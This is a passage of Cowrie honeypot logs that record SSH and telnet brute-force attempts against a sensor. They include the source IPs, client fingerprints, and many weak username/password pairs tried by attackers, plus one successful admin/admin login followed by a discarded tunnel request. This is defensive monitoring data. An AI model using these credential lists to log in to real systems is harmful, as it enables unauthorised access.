-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:50.545294Z","src_ip":"87.251.64.176","session":"7587acc69168","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:50.836423Z","src_ip":"87.251.64.176","session":"7587acc69168","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:50.936238Z","session":"7587acc69168","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:51.034952Z","src_ip":"87.251.64.176","session":"7587acc69168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:51.270231Z","src_ip":"87.251.64.176","session":"7587acc69168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59848,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ce08882942a","protocol":"ssh","message":"New connection: 159.203.92.129:59848 (159.203.135.109:22) [session: 1ce08882942a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:00.815414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:00.824339Z","src_ip":"159.203.92.129","session":"1ce08882942a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:00.829222Z","src_ip":"159.203.92.129","session":"1ce08882942a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2023","message":"login attempt [admin1/admin1@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:00.840814Z","src_ip":"159.203.92.129","session":"1ce08882942a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:01.847689Z","src_ip":"159.203.92.129","session":"1ce08882942a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":42112,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff5c01511423","protocol":"ssh","message":"New connection: 45.120.216.232:42112 (159.203.135.109:22) [session: ff5c01511423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:18.745858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:18.753302Z","src_ip":"45.120.216.232","session":"ff5c01511423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:18.957995Z","src_ip":"45.120.216.232","session":"ff5c01511423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"invite","message":"login attempt [guest/invite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:19.809211Z","src_ip":"45.120.216.232","session":"ff5c01511423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:21.024830Z","src_ip":"45.120.216.232","session":"ff5c01511423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":41078,"dst_ip":"10.17.0.5","dst_port":22,"session":"f09b669d515c","protocol":"ssh","message":"New connection: 161.132.4.167:41078 (10.17.0.5:22) [session: f09b669d515c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:36.954310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:37.666755Z","src_ip":"161.132.4.167","session":"f09b669d515c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:37.682791Z","src_ip":"161.132.4.167","session":"f09b669d515c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:41.146602Z","src_ip":"161.132.4.167","session":"f09b669d515c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:42.326087Z","src_ip":"161.132.4.167","session":"f09b669d515c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49464,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b14a46c6e49","protocol":"ssh","message":"New connection: 159.203.92.129:49464 (159.203.135.109:22) [session: 3b14a46c6e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:45.034487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:45.039332Z","src_ip":"159.203.92.129","session":"3b14a46c6e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:45.044861Z","src_ip":"159.203.92.129","session":"3b14a46c6e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2024","message":"login attempt [admin1/admin1@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:45.059835Z","src_ip":"159.203.92.129","session":"3b14a46c6e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:27:46.067247Z","src_ip":"159.203.92.129","session":"3b14a46c6e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":60086,"dst_ip":"159.203.135.109","dst_port":22,"session":"3353801034e7","protocol":"ssh","message":"New connection: 45.120.216.232:60086 (159.203.135.109:22) [session: 3353801034e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:17.325717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:17.330100Z","src_ip":"45.120.216.232","session":"3353801034e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:17.565227Z","src_ip":"45.120.216.232","session":"3353801034e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"catadmin","password":"catadmin","message":"login attempt [catadmin/catadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:18.535555Z","src_ip":"45.120.216.232","session":"3353801034e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:19.772775Z","src_ip":"45.120.216.232","session":"3353801034e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.241.172.204","src_port":34485,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1cc7910ba1","protocol":"telnet","message":"New connection: 87.241.172.204:34485 (159.203.135.109:23) [session: 9b1cc7910ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:20.125467Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":32305,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d28144c0d80","protocol":"ssh","message":"New connection: 193.46.255.86:32305 (10.17.0.5:22) [session: 1d28144c0d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:23.051540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:23.055997Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:23.186916Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:23.785252Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin@123","message":"login attempt [admin1/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:24.920028Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abc123","message":"login attempt [admin1/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:26.054943Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abcd123","message":"login attempt [admin1/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:27.189814Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34630,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f66f63836a6","protocol":"ssh","message":"New connection: 159.203.92.129:34630 (159.203.135.109:22) [session: 7f66f63836a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:28.317973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:28.323024Z","src_ip":"159.203.92.129","session":"7f66f63836a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:28.328079Z","src_ip":"159.203.92.129","session":"7f66f63836a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"abcd1234","message":"login attempt [admin1/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:28.336350Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2025","message":"login attempt [admin1/admin1@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:28.343832Z","src_ip":"159.203.92.129","session":"7f66f63836a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:29.350299Z","src_ip":"159.203.92.129","session":"7f66f63836a6","protocol":"ssh"}
